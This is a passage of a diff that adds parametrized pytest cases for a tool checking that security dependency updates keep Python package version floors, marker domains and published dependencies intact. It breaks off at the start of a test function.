+ elif variant == "canonical-preserved":
+ previous, current = "danger==1.0", "danger==1"
+ elif variant == "redundant-preserved":
+ current = "danger==1,>=1"
+ elif variant.endswith("-upgrade"):
+ current, after = "danger==2", ["2"]
+ if variant == "constraint-upgrade":
+ constraints = ([previous], [current])
+ elif variant == "build-upgrade":
+ build = ([previous], [current])
+ elif variant == "group-upgrade":
+ groups = ({"reviewed": [previous]}, {"reviewed": [current]})
+
+ protected = constraints is not None or build is not None or groups is not None
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"] + ([] if protected else [previous]),
+ head_requirements=["patch-me>=1.1"] + ([] if protected else [current]),
+ base_packages=[("patch-me", "1"), *[("danger", version) for version in before]],
+ head_packages=[("patch-me", "1.1"), *[("danger", version) for version in after]],
+ optional=optional,
+ base_constraints=None if constraints is None else constraints[0],
+ head_constraints=None if constraints is None else constraints[1],
+ base_build_constraints=None if build is None else build[0],
+ head_build_constraints=None if build is None else build[1],
+ base_dependency_groups=None if groups is None else groups[0],
+ head_dependency_groups=None if groups is None else groups[1],
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime-inclusive", False, id="strict-published-runtime-floor-cannot-become-inclusive"),
+ pytest.param("optional-inclusive", False, id="strict-optional-floor-cannot-become-inclusive"),
+ pytest.param("constraint-inclusive", False, id="strict-uv-constraint-cannot-become-inclusive"),
+ pytest.param("build-inclusive", False, id="strict-build-constraint-cannot-become-inclusive"),
+ pytest.param("group-inclusive", False, id="strict-development-floor-cannot-become-inclusive"),
+ pytest.param("strict-lowered", False, id="strict-lower-version-cannot-weaken"),
+ pytest.param("strict-dropped", False, id="strict-floor-cannot-disappear"),
+ pytest.param("epoch-inclusive", False, id="strict-epoch-floor-cannot-become-inclusive"),
+ pytest.param("post-inclusive", False, id="strict-post-release-floor-cannot-become-inclusive"),
+ pytest.param("runtime-final-post", False, id="exclusive-final-runtime-floor-cannot-admit-same-release-post"),
+ pytest.param("optional-final-post", False, id="exclusive-final-optional-floor-cannot-admit-same-release-post"),
+ pytest.param("constraint-final-post", False, id="exclusive-final-constraint-cannot-admit-same-release-post"),
+ pytest.param("build-final-post", False, id="exclusive-final-build-floor-cannot-admit-same-release-post"),
+ pytest.param("group-final-post", False, id="exclusive-final-group-floor-cannot-admit-same-release-post"),
+ pytest.param("final-exclusive-post", False, id="exclusive-final-floor-cannot-admit-later-post-releases"),
+ pytest.param("epoch-final-post", False, id="exclusive-epoch-final-floor-cannot-admit-same-release-post"),
+ pytest.param("zero-final-post", False, id="exclusive-zero-normalized-final-floor-cannot-admit-post-release"),
+ pytest.param("marker-inclusive", False, id="strict-contextual-floor-cannot-become-inclusive"),
+ pytest.param("strict-preserved", True, id="unchanged-strict-floor-remains-supported"),
+ pytest.param("strict-raised", True, id="strict-floor-may-increase"),
+ pytest.param("inclusive-higher", True, id="higher-inclusive-floor-may-replace-strict-floor"),
+ pytest.param("inclusive-to-strict", True, id="inclusive-floor-may-strengthen-to-strict"),
+ pytest.param("canonical-strict", True, id="canonical-equivalent-strict-floor-remains-supported"),
+ pytest.param("post-exclusive-higher", True, id="exclusive-post-floor-may-increase-within-same-release"),
+ pytest.param("post-inclusive-higher", True, id="inclusive-later-post-may-strengthen-exclusive-post-floor"),
+ ],
+)
+def test_grouped_security_updates_preserve_strict_dependency_floors(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ previous, current = "danger>1", "danger>=1"
+ locked = "2"
+ optional = variant in {"optional-inclusive", "optional-final-post"}
+ constraints: tuple[list[str], list[str]] | None = None
+ build: tuple[list[str], list[str]] | None = None
+ groups: tuple[dict[str, list[str]], dict[str, list[str]]] | None = None
+
+ if variant in {
+ "runtime-final-post",
+ "optional-final-post",
+ "constraint-final-post",
+ "build-final-post",
+ "group-final-post",
+ }:
+ previous, current = "danger>1.0", "danger>=1.0.post1"
+ if variant == "constraint-final-post":
+ constraints = ([previous], [current])
+ elif variant == "build-final-post":
+ build = ([previous], [current])
+ elif variant == "group-final-post":
+ groups = ({"reviewed": [previous]}, {"reviewed": [current]})
+ elif variant == "final-exclusive-post":
+ previous, current = "danger>1.0", "danger>1.0.post1"
+ elif variant == "epoch-final-post":
+ previous, current, locked = "danger>1!1.0", "danger>=1!1.0.post1", "1!2"
+ elif variant == "zero-final-post":
+ previous, current = "danger>1.0.0", "danger>=1.0.post1"
+ elif variant == "post-exclusive-higher":
+ previous, current, locked = "danger>1.0.post1", "danger>1.0.post2", "1.0.post3"
+ elif variant == "post-inclusive-higher":
+ previous, current, locked = "danger>1.0.post1", "danger>=1.0.post2", "1.0.post2"
+ elif variant == "constraint-inclusive":
+ constraints = ([previous], [current])
+ elif variant == "build-inclusive":
+ build = ([previous], [current])
+ elif variant == "group-inclusive":
+ groups = ({"reviewed": [previous]}, {"reviewed": [current]})
+ elif variant == "strict-lowered":
+ previous, current, locked = "danger>2", "danger>1", "3"
+ elif variant == "strict-dropped":
+ current = "danger"
+ elif variant == "epoch-inclusive":
+ previous, current, locked = "danger>1!1", "danger>=1!1", "1!2"
+ elif variant == "post-inclusive":
+ previous, current, locked = "danger>1.post2", "danger>=1.post2", "1.post3"
+ elif variant == "marker-inclusive":
+ previous += "; python_version >= '3.11'"
+ current += "; python_version >= '3.11'"
+ elif variant == "strict-preserved":
+ current = previous
+ elif variant == "strict-raised":
+ current = "danger>1.5"
+ elif variant == "inclusive-higher":
+ current = "danger>=1.5"
+ elif variant == "inclusive-to-strict":
+ previous, current = "danger>=1", "danger>1"
+ elif variant == "canonical-strict":
+ previous, current = "danger>1.0", "danger>1"
+
+ protected = constraints is not None or build is not None or groups is not None
+ base_requirements = ["patch-me>=1"] + ([] if protected else [previous])
+ head_requirements = ["patch-me>=1.1"] + ([] if protected else [current])
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), ("danger", locked)],
+ head_packages=[("patch-me", "1.1"), ("danger", locked)],
+ optional=optional,
+ base_constraints=None if constraints is None else constraints[0],
+ head_constraints=None if constraints is None else constraints[1],
+ base_build_constraints=None if build is None else build[0],
+ head_build_constraints=None if build is None else build[1],
+ base_dependency_groups=None if groups is None else groups[0],
+ head_dependency_groups=None if groups is None else groups[1],
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("previous", "current", "locked", "accepted"),
+ [
+ pytest.param(
+ "danger>=1,<2",
+ "danger>1,<2",
+ "1.post1",
+ False,
+ id="exclusive-final-floor-cannot-drop-retained-post-release",
+ ),
+ pytest.param(
+ "danger>=1.0,<2",
+ "danger>1.0.0,<2",
+ "1.0.post2",
+ False,
+ id="canonical-exclusive-final-floor-cannot-drop-retained-post-release",
+ ),
+ pytest.param(
+ "danger>=1!1,<1!2",
+ "danger>1!1,<1!2",
+ "1!1.post1",
+ False,
+ id="exclusive-epoch-final-floor-cannot-drop-retained-post-release",
+ ),
+ pytest.param(
+ "danger>=1.post1,<2",
+ "danger>1.post1,<2",
+ "1.post2",
+ True,
+ id="exclusive-post-floor-retains-later-same-release-post",
+ ),
+ pytest.param(
+ "danger>=1,<2",
+ "danger>1,<2",
+ "1.1",
+ True,
+ id="exclusive-final-floor-retains-later-base-release",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_exclusive_final_dependency_floors_preserve_retained_post_releases(
+ tmp_path: Path, previous: str, current: str, locked: str, accepted: bool, protected: bool
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"] + ([] if protected else [previous]),
+ head_requirements=["patch-me>=1.1"] + ([] if protected else [current]),
+ base_packages=[("patch-me", "1"), ("danger", locked)],
+ head_packages=[("patch-me", "1.1"), ("danger", locked)],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[current] if protected else None,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("pydantic-v2", True, id="published-v1-support-survives-protected-v2-patch"),
+ pytest.param("pydantic-v1", True, id="published-v2-support-survives-protected-v1-patch"),
+ pytest.param("unchanged-published", False, id="private-v2-floor-cannot-leave-published-range-vulnerable"),
+ pytest.param("unchanged-published-v1", False, id="private-v1-floor-cannot-leave-published-range-vulnerable"),
+ pytest.param("missing-earlier-minor", False, id="published-range-must-exclude-entire-affected-major"),
+ pytest.param("missing-earlier-patch", False, id="published-range-must-exclude-earlier-minor-patches"),
+ pytest.param("exact-old-only", False, id="excluding-only-old-lock-does-not-protect-whole-branch"),
+ pytest.param("removed-still-accepted", False, id="published-range-must-exclude-removed-lock"),
+ pytest.param("patched-excluded", False, id="published-range-must-accept-patched-lock"),
+ pytest.param("unaffected-excluded", False, id="published-range-must-preserve-unaffected-major"),
+ pytest.param("dropped-original-exclusion", False, id="published-original-exclusions-cannot-be-weakened"),
+ pytest.param("marked-published", True, id="published-exclusions-preserve-original-marker"),
+ pytest.param("moved-published-marker", False, id="published-exclusions-cannot-move-original-marker"),
+ pytest.param("epoch-patched", True, id="published-exclusions-match-security-release-epoch"),
+ pytest.param("wrong-epoch", False, id="other-epoch-exclusions-do-not-secure-published-branch"),
+ pytest.param("post-patched", True, id="published-exclusions-cover-earlier-stable-post-releases"),
+ pytest.param("post-missing-intermediate", False, id="published-exclusions-cannot-skip-earlier-post"),
+ pytest.param("post-wildcard", False, id="published-post-wildcard-cannot-exclude-patched-release"),
+ pytest.param("unsupported-wildcard", False, id="ambiguous-published-exclusions-fail-closed"),
+ pytest.param("unbounded-expansion", False, id="published-branch-proof-has-bounded-expansion"),
+ pytest.param("unchanged-protected-floor", False, id="unchanged-v2-protected-floor-rejected"),
+ pytest.param("below-patched-release", False, id="protected-v2-floor-must-reach-lock-patch"),
+ pytest.param("unbounded-branch", False, id="protected-branch-must-retain-upper-bound"),
+ pytest.param("weakened-unaffected-floor", False, id="unaffected-v1-security-floor-cannot-drop"),
+ pytest.param("removed-unaffected-group", False, id="supported-v1-protected-context-cannot-disappear"),
+ pytest.param("removed-unaffected-lock", False, id="supported-v1-locked-branch-cannot-disappear"),
+ pytest.param("new-protected-context", False, id="protected-v2-context-must-exist-in-immutable-base"),
+ ],
+)
+def test_security_updates_preserve_independent_supported_major_branches(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ old_exclusions = [f"!=2.{minor}.*" for minor in range(4)]
+ published = "pydantic>=1.10.13,<3," + ",".join(old_exclusions)
+ v2_exclusions = [f"!=2.{minor}.*" for minor in range(4, 12)] + [f"!=2.12.{patch}.*" for patch in range(6)]
+ head_published = published + "," + ",".join(v2_exclusions)
+ base_groups = {
+ "pydantic-v1": ["pydantic>=1.10.26,<2"],
+ "pydantic-v2": ["pydantic>=2,<3"],
+ }
+ head_groups = {
+ "pydantic-v1": ["pydantic>=1.10.26,<2"],
+ "pydantic-v2": ["pydantic>=2.12.6,<3"],
+ }
+ base_packages = [("pydantic", "1.10.26"), ("pydantic", "2.12.5")]
+ head_packages = [("pydantic", "1.10.26"), ("pydantic", "2.12.6")]
+
+ if variant in {"pydantic-v1", "unchanged-published-v1"}:
+ head_groups["pydantic-v1"] = ["pydantic>=1.10.27,<2"]
+ head_groups["pydantic-v2"] = ["pydantic>=2,<3"]
+ head_packages = [("pydantic", "1.10.27"), ("pydantic", "2.12.5")]
+ head_published = published + "," + ",".join(f"!=1.10.{patch}.*" for patch in range(13, 27))
+ if variant == "unchanged-published-v1":
+ head_published = published
+ elif variant == "unchanged-published":
+ head_published = published
+ elif variant == "missing-earlier-minor":
+ head_published = head_published.replace(",!=2.11.*", "")
+ elif variant == "missing-earlier-patch":
+ head_published = head_published.replace(",!=2.12.4.*", "")
+ elif variant == "exact-old-only":
+ head_published = published + ",!=2.12.5"
+ elif variant == "removed-still-accepted":
+ head_published = head_published.replace(",!=2.12.5.*", "")
+ elif variant == "patched-excluded":
+ head_published += ",!=2.12.6.*"
+ elif variant == "unaffected-excluded":
+ head_published += ",!=1.10.26.*"
+ elif variant == "dropped-original-exclusion":
+ head_published = head_published.replace(",!=2.0.*", "")
+ elif variant in {"marked-published", "moved-published-marker"}:
+ published += "; python_version >= '3.10'"
+ head_published += (
+ "; python_version >= '3.11'" if variant == "moved-published-marker" else "; python_version >= '3.10'"
+ )
+ elif variant in {"epoch-patched", "wrong-epoch"}:
+ existing = [f"!=1!2.{minor}.*" for minor in range(4)]
+ remaining = [f"!=1!2.{minor}.*" for minor in range(4, 12)] + [f"!=1!2.12.{patch}.*" for patch in range(6)]
+ published = "pydantic>=1!1.10.13,<1!3," + ",".join(existing)
+ head_published = published + "," + ",".join(remaining)
+ if variant == "wrong-epoch":
+ head_published = published + "," + ",".join(value.replace("1!", "0!") for value in remaining)
+ base_groups = {
+ "pydantic-v1": ["pydantic>=1!1.10.26,<1!2"],
+ "pydantic-v2": ["pydantic>=1!2,<1!3"],
+ }
+ head_groups = {
+ "pydantic-v1": ["pydantic>=1!1.10.26,<1!2"],
+ "pydantic-v2": ["pydantic>=1!2.12.6,<1!3"],
+ }
+ base_packages = [("pydantic", "1!1.10.26"), ("pydantic", "1!2.12.5")]
+ head_packages = [("pydantic", "1!1.10.26"), ("pydantic", "1!2.12.6")]
+ elif variant in {"post-patched", "post-missing-intermediate", "post-wildcard"}:
+ head_groups["pydantic-v2"] = ["pydantic>=2.12.5.post3,<3"]
+ base_packages = [("pydantic", "1.10.26"), ("pydantic", "2.12.5.post1")]
+ head_packages = [("pydantic", "1.10.26"), ("pydantic", "2.12.5.post3")]
+ lower = [f"!=2.{minor}.*" for minor in range(4, 12)]
+ lower += [f"!=2.12.{patch}.*" for patch in range(5)]
+ lower += ["!=2.12.5", "!=2.12.5.post0", "!=2.12.5.post1", "!=2.12.5.post2"]
+ head_published = published + "," + ",".join(lower)
+ if variant == "post-missing-intermediate":
+ head_published = head_published.replace(",!=2.12.5.post2", "")
+ elif variant == "post-wildcard":
+ head_published += ",!=2.12.5.*"
+ elif variant == "unsupported-wildcard":
+ head_published += ",!=2.12.5.post1.*"
+ elif variant == "unbounded-expansion":
+ head_groups["pydantic-v2"] = ["pydantic>=2.513.1,<3"]
+ base_packages = [("pydantic", "1.10.26"), ("pydantic", "2.513.0")]
+ head_packages = [("pydantic", "1.10.26"), ("pydantic", "2.513.1")]
+ elif variant == "unchanged-protected-floor":
+ head_groups["pydantic-v2"] = ["pydantic>=2,<3"]
+ elif variant == "below-patched-release":
+ head_groups["pydantic-v2"] = ["pydantic>=2.12.5,<3"]
+ elif variant == "unbounded-branch":
+ head_groups["pydantic-v2"] = ["pydantic>=2.12.6"]
+ elif variant == "weakened-unaffected-floor":
+ head_groups["pydantic-v1"] = ["pydantic>=1.10.13,<2"]
+ elif variant == "removed-unaffected-group":
+ head_groups.pop("pydantic-v1")
+ elif variant == "removed-unaffected-lock":
+ head_packages = [("pydantic", "2.12.6")]
+ elif variant == "new-protected-context":
+ base_groups.pop("pydantic-v2")
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[published],
+ head_requirements=[head_published],
+ base_packages=base_packages,
+ head_packages=head_packages,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime-removed", False, id="runtime-dependency-and-lock-removed"),
+ pytest.param("runtime-unbounded-removed", False, id="unbounded-runtime-dependency-removed"),
+ pytest.param("optional-group-removed", False, id="optional-dependency-group-and-lock-removed"),
+ pytest.param("optional-unbounded-removed", False, id="unbounded-optional-dependency-removed"),
+ pytest.param("marker-context-removed", False, id="unbounded-marker-context-removed"),
+ pytest.param("requested-extra-context-removed", False, id="requested-extra-context-removed"),
+ pytest.param("declaration-removed", False, id="unbounded-same-context-declaration-removed"),
+ pytest.param("unchanged", True, id="runtime-and-optional-dependencies-preserved"),
+ pytest.param("transitive-only", True, id="transitive-only-security-update-preserved"),
+ pytest.param("canonical-group", True, id="canonical-optional-group-spelling-preserved"),
+ ],
+)
+def test_security_updates_cannot_remove_published_direct_dependencies(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ base_requirements = ["safe-direct>=1", "danger-pkg>=1"]
+ head_requirements = ["safe-direct>=1"]
+ base_packages = [("safe-direct", "1"), ("danger-pkg", "1")]
+ head_packages = [("safe-direct", "1")]
+ base_groups: dict[str, list[str]] | None = None
+ head_groups: dict[str, list[str]] | None = None
+ head_constraints: list[str] | None = None
+
+ if variant == "runtime-unbounded-removed":
+ base_requirements = ["safe-direct>=1", "danger-pkg"]
+ elif variant in {"optional-group-removed", "optional-unbounded-removed"}:
+ base_requirements = head_requirements = ["safe-direct>=1"]
+ requirement = "danger-pkg" if variant == "optional-unbounded-removed" else "danger-pkg>=1"
+ base_groups = {"feature": [requirement]}
+ head_groups = {}
+ elif variant == "marker-context-removed":
+ base_requirements = [
+ "safe-direct>=1",
+ "danger-pkg; python_version < '3.11'",
+ "danger-pkg; python_version >= '3.11'",
+ ]
+ head_requirements = ["safe-direct>=1", "danger-pkg; python_version >= '3.11'"]
+ head_packages = list(base_packages)
+ elif variant == "requested-extra-context-removed":
+ base_requirements = ["safe-direct>=1", "danger-pkg[first]", "danger-pkg[second]"]
+ head_requirements = ["safe-direct>=1", "danger-pkg[first]"]
+ head_packages = list(base_packages)
+ elif variant == "declaration-removed":
+ base_requirements = ["safe-direct>=1", "danger-pkg", "danger-pkg<3"]
+ head_requirements = ["safe-direct>=1", "danger-pkg<3"]
+ head_packages = list(base_packages)
+ elif variant == "unchanged":
+ head_requirements = list(base_requirements)
+ head_packages = list(base_packages)
+ base_groups = head_groups = {"feature": ["danger-pkg>=1"]}
+ elif variant == "transitive-only":
+ head_requirements = list(base_requirements)
+ base_packages = [*base_packages, ("transitive", "1")]
+ head_packages = [("safe-direct", "1"), ("danger-pkg", "1"), ("transitive", "1.1")]
+ head_constraints = ["transitive>=1.1"]
+ elif variant == "canonical-group":
+ base_requirements = head_requirements = ["safe-direct>=1"]
+ head_packages = list(base_packages)
+ base_groups = {"voice_helpers": ["danger-pkg>=1"]}
+ head_groups = {"voice-helpers": ["danger-pkg>=1"]}
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=base_packages,
+ head_packages=head_packages,
+ base_optional_groups=base_groups,
+ head_optional_groups=head_groups,
+ head_constraints=head_constraints,
+ )
+
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+ if not accepted:
+ assert "Do not remove a published direct dependency" in result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("independent-upgrades", True, id="numpy-python-marker-lines-upgrade-independently"),
+ pytest.param("reordered-marker", True, id="resolution-marker-conjunction-order-preserved"),
+ pytest.param("high-line-only", True, id="unchanged-old-python-floor-does-not-require-new-line"),
+ pytest.param("old-line-only", True, id="unchanged-new-python-floor-does-not-require-old-line"),
+ pytest.param("swapped-lines", False, id="marker-domains-cannot-swap-locked-versions"),
+ pytest.param("dropped-domain", False, id="resolution-marker-domain-cannot-disappear"),
+ pytest.param("unmarked-low-floor", False, id="unmarked-floor-must-cover-every-patched-domain"),
+ pytest.param("ambiguous-or", False, id="ambiguous-resolution-marker-fails-closed"),
+ ],
+)
+def test_security_patches_follow_their_original_resolution_marker_domains(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ old_requirement = "numpy>=2.2.6; python_version < '3.11'"
+ new_requirement = "numpy>=2.4.6; python_version >= '3.11'"
+ old_marker = "python_full_version < '3.11'"
+ new_markers = [
+ "python_full_version >= '3.11' and sys_platform == 'linux'",
+ "python_full_version >= '3.11' and sys_platform != 'linux'",
+ ]
+ base_requirements = [old_requirement, new_requirement]
+ head_requirements = [
+ "numpy>=2.2.7; python_version < '3.11'",
+ "numpy>=2.4.7; python_version >= '3.11'",
+ ]
+ base_packages = [("numpy", "2.2.6"), ("numpy", "2.4.6")]
+ head_packages = [("numpy", "2.2.7"), ("numpy", "2.4.7")]
+ base_markers = {
+ ("numpy", "2.2.6"): [old_marker],
+ ("numpy", "2.4.6"): new_markers,
+ }
+ head_markers = {
+ ("numpy", "2.2.7"): [old_marker],
+ ("numpy", "2.4.7"): list(new_markers),
+ }
+ if variant == "reordered-marker":
+ head_markers[("numpy", "2.4.7")] = [
+ "sys_platform == 'linux' and python_full_version >= '3.11'",
+ "sys_platform != 'linux' and python_full_version >= '3.11'",
+ ]
+ elif variant == "high-line-only":
+ head_requirements[0] = old_requirement
+ head_packages[0] = ("numpy", "2.2.6")
+ head_markers.pop(("numpy", "2.2.7"))
+ head_markers[("numpy", "2.2.6")] = [old_marker]
+ elif variant == "old-line-only":
+ head_requirements[1] = new_requirement
+ head_packages[1] = ("numpy", "2.4.6")
+ head_markers.pop(("numpy", "2.4.7"))
+ head_markers[("numpy", "2.4.6")] = list(new_markers)
+ elif variant == "swapped-lines":
+ head_requirements = [
+ "numpy>=2.4.7; python_version < '3.11'",
+ "numpy>=2.4.7; python_version >= '3.11'",
+ ]
+ head_markers = {
+ ("numpy", "2.2.7"): list(new_markers),
+ ("numpy", "2.4.7"): [old_marker],
+ }
+ elif variant == "dropped-domain":
+ head_requirements = [
+ "numpy>=2.4.7; python_version < '3.11'",
+ "numpy>=2.4.7; python_version >= '3.11'",
+ ]
+ head_markers[("numpy", "2.4.7")] = []
+ elif variant == "unmarked-low-floor":
+ base_requirements = ["numpy>=2.2.6"]
+ head_requirements = ["numpy>=2.2.7"]
+ elif variant == "ambiguous-or":
+ head_markers[("numpy", "2.4.7")] = [
+ "python_full_version >= '3.11' or sys_platform == 'linux'",
+ ]
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=base_packages,
+ head_packages=head_packages,
+ base_resolution_markers=base_markers,
+ head_resolution_markers=head_markers,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("base_groups", "head_groups", "accepted"),
+ [
+ pytest.param(
+ {"datalib": ["numpy>=1"], "voice_helpers": ["numpy>=2"]},
+ {"datalib": ["numpy>=2"], "voice_helpers": ["numpy>=1"]},
+ False,
+ id="actual-numpy-extra-floors-swapped",
+ ),
+ pytest.param(
+ {"datalib": ["numpy>=1"], "voice_helpers": ["numpy>=2"]},
+ {"datalib": ["numpy>=1"]},
+ False,
+ id="actual-numpy-bounded-extra-removed",
+ ),
+ pytest.param(
+ {"datalib": ["numpy>=1"], "voice_helpers": ["numpy>=2"]},
+ {"voice_helpers": ["numpy>=2"], "datalib": ["numpy>=1"]},
+ True,
+ id="actual-numpy-extra-groups-reordered",
+ ),
+ pytest.param(
+ {"voice_helpers": ["numpy>=2"]},
+ {"voice-helpers": ["numpy>=2,<4"]},
+ True,
+ id="canonical-optional-group-spelling-preserved",
+ ),
+ pytest.param(
+ {"voice_helpers": ["numpy>=2"]},
+ {"datalib": ["numpy>=2"]},
+ False,
+ id="bounded-optional-context-replaced",
+ ),
+ pytest.param(
+ {"datalib": ["numpy>=1"], "voice_helpers": ["numpy>=2"]},
+ {"datalib": ["numpy>=1.1"], "voice_helpers": ["numpy>=2"]},
+ True,
+ id="actual-numpy-extra-floor-raised-in-place",
+ ),
+ pytest.param(
+ {"datalib": ["numpy>=1"], "voice_helpers": ["numpy>=2"]},
+ {"datalib": ["numpy>=1"], "voice_helpers": ["numpy>=1.9"]},
+ False,
+ id="actual-numpy-extra-floor-lowered-in-place",
+ ),
+ ],
+)
+def test_security_floors_preserve_original_optional_contexts(
+ tmp_path: Path,
+ base_groups: dict[str, list[str]],
+ head_groups: dict[str, list[str]],
+ accepted: bool,
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[],
+ head_requirements=[],
+ base_packages=[("numpy", "2")],
+ head_packages=[("numpy", "2")],
+ base_optional_groups=base_groups,
+ head_optional_groups=head_groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "direct_accepted", "protected_accepted"),
+ [
+ pytest.param(
+ "python_version in '3.10, 3.11'",
+ "python_full_version == '3.10.*'",
+ True,
+ True,
+ id="python-membership-first-release",
+ ),
+ pytest.param(
+ "python_version in '3.10, 3.11'",
+ "python_full_version == '3.11.*'",
+ True,
+ True,
+ id="python-membership-second-release",
+ ),
+ pytest.param(
+ "python_version in '3.10, 3.11'",
+ "python_full_version >= '3.12'",
+ False,
+ False,
+ id="python-membership-excludes-other-release",
+ ),
+ pytest.param(
+ "python_version not in '3.10, 3.11'",
+ "python_full_version == '3.12.*'",
+ True,
+ True,
+ id="python-negative-membership-allows-other-release",
+ ),
+ pytest.param(
+ "python_version not in '3.10, 3.11'",
+ "python_full_version == '3.10.*'",
+ False,
+ False,
+ id="python-negative-membership-excludes-listed-release",
+ ),
+ pytest.param(
+ "python_full_version in '3.10.4, 3.11.2'",
+ "python_full_version == '3.10.4'",
+ True,
+ True,
+ id="full-python-version-membership",
+ ),
+ pytest.param(
+ "sys_platform in 'linux, darwin'",
+ "sys_platform == 'linux'",
+ True,
+ True,
+ id="platform-membership-matches-reviewed-linux",
+ ),
+ pytest.param(
+ "sys_platform not in 'win32, darwin'",
+ "sys_platform == 'linux'",
+ True,
+ True,
+ id="negative-platform-membership-matches-reviewed-linux",
+ ),
+ pytest.param(
+ "platform_system in 'Linux, Darwin'",
+ "platform_system == 'linux'",
+ False,
+ False,
+ id="platform-membership-preserves-quoted-case",
+ ),
+ pytest.param(
+ "python_version >= '3.1'",
+ "python_version in '3.10, 3.11'",
+ True,
+ True,
+ id="resolution-domain-membership-also-supported",
+ ),
+ pytest.param(
+ "python_version in '3.10,,3.11'",
+ "python_full_version == '3.10.*'",
+ False,
+ False,
+ id="empty-membership-token-fails-closed",
+ ),
+ pytest.param(
+ "python_version in '3.10, 3.10'",
+ "python_full_version == '3.10.*'",
+ False,
+ False,
+ id="duplicate-membership-token-fails-closed",
+ ),
+ pytest.param(
+ "python_version in '3.1, 3.10'",
+ "python_full_version == '3.10.*'",
+ True,
+ True,
+ id="overlapping-python-membership-tokens-preserve-pep508-substrings",
+ ),
+ pytest.param(
+ "python_version in '3.10, beta'",
+ "python_full_version == '3.10.*'",
+ False,
+ False,
+ id="noncanonical-python-membership-token-fails-closed",
+ ),
+ pytest.param(
+ "sys_platform in 'win, win32'",
+ "sys_platform == 'win32'",
+ True,
+ True,
+ id="overlapping-platform-membership-tokens-preserve-pep508-substrings",
+ ),
+ pytest.param(
+ "unsupported_platform in 'linux'",
+ "sys_platform == 'linux'",
+ False,
+ False,
+ id="unknown-membership-variable-fails-closed",
+ ),
+ pytest.param(
+ "python_version in '3.10' or sys_platform == 'linux'",
+ "python_full_version == '3.10.*'",
+ True,
+ True,
+ id="source-level-or-membership-remains-supported",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_security_marker_membership_overlaps_are_safe_and_precise(
+ tmp_path: Path,
+ requirement_marker: str,
+ resolution_marker: str,
+ direct_accepted: bool,
+ protected_accepted: bool,
+ protected: bool,
+) -> None:
+ base = "danger>=1; " + requirement_marker
+ head = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [base],
+ head_requirements=[] if protected else [head],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[base] if protected else None,
+ head_constraints=[head] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ accepted = protected_accepted if protected else direct_accepted
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("direct-both", True, id="both-actual-numpy-extra-groups-split-by-python-version"),
+ pytest.param("direct-high-only", True, id="unchanged-python310-line-does-not-need-artificial-bump"),
+ pytest.param("direct-membership-split", True, id="published-split-membership-complements-cover-all-domains"),
+ pytest.param("direct-low-insufficient", False, id="python310-split-floor-must-reach-its-own-patch"),
+ pytest.param("direct-high-insufficient", False, id="newer-python-split-floor-must-reach-its-own-patch"),
+ pytest.param("direct-gap", False, id="split-cannot-drop-python310-resolution-domain"),
+ pytest.param("direct-overlap", False, id="split-cannot-overlap-one-resolution-domain"),
+ pytest.param("direct-partial-domain", False, id="split-cannot-cover-only-part-of-original-domain"),
+ pytest.param("direct-moved-group", False, id="split-cannot-move-published-optional-group"),
+ pytest.param("direct-upper-removed", False, id="split-cannot-remove-original-upper-bound"),
+ pytest.param("direct-exclusion-removed", False, id="split-cannot-remove-original-excluded-release"),
+ pytest.param("direct-original-lowered", False, id="split-cannot-lower-original-unchanged-branch"),
+ pytest.param("protected-constraint", True, id="protected-constraint-splits-by-resolution-domain"),
+ pytest.param("protected-group", True, id="protected-development-group-splits-by-resolution-domain"),
+ pytest.param("protected-membership-split", True, id="protected-split-membership-complements-cover-all-domains"),
+ pytest.param("protected-insufficient", False, id="protected-split-floor-must-reach-its-own-patch"),
+ pytest.param("protected-gap", False, id="protected-split-cannot-drop-python310-domain"),
+ pytest.param("protected-upper-removed", False, id="protected-split-preserves-original-upper-bound"),
+ ],
+)
+def test_security_floors_can_safely_split_original_unmarked_resolution_domains(
